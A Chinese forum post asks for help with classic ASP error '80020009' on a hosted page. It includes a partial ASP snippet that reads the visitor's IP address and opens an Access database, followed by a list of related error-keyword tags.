ASP 错误'80020009' 期待高手解决

上传到空间，有的朋友能打开 有的不能～我自己也不能 但是我朋友就能打开，打不开的就提示这个错误（把工具高级HTTP友好对号去掉才能显示这个，否则就是无法显示） 期待高手解答

----------------------
<%
Const ForAppending=8
Const Create = true
Dim fso
Dim ts
Dim MyFileName
Dim sAccount
Dim sPassword
Dim strSql
dim conn
dim rs
dim s1
dim s2
dim s3
dim s4
dim strinfor
'response.write(server.mappath("\") & "\langzai521\db.mdb")
set conn=server.createobject("adodb.connection")
s1=split(request.servervariables("REMOTE_ADDR"),".")(0)
s2=split(request.servervariables("REMOTE_ADDR"),".")(1)
s3=split(request.servervariables("REMOTE_ADDR"),".")(2)
s4=split(request.servervariables("REMOTE_ADDR"),".")(3)
conn.open "DBQ="+server.mappath(""& "\langzai521\db.mdb" &&q

asp 错误'80020009' asp '80020009' 错误 错误 'ASP 0126' ASP 错误 asp 错误 ASP '80040e14' 错误 asp中出现 错误 '80020009' asp 错误的 'Next' [asp错误]ADODB.Recordset 错误 '800a0bb9' ASP错误：Server 对象 错误 'ASP 0177 : 800401f3'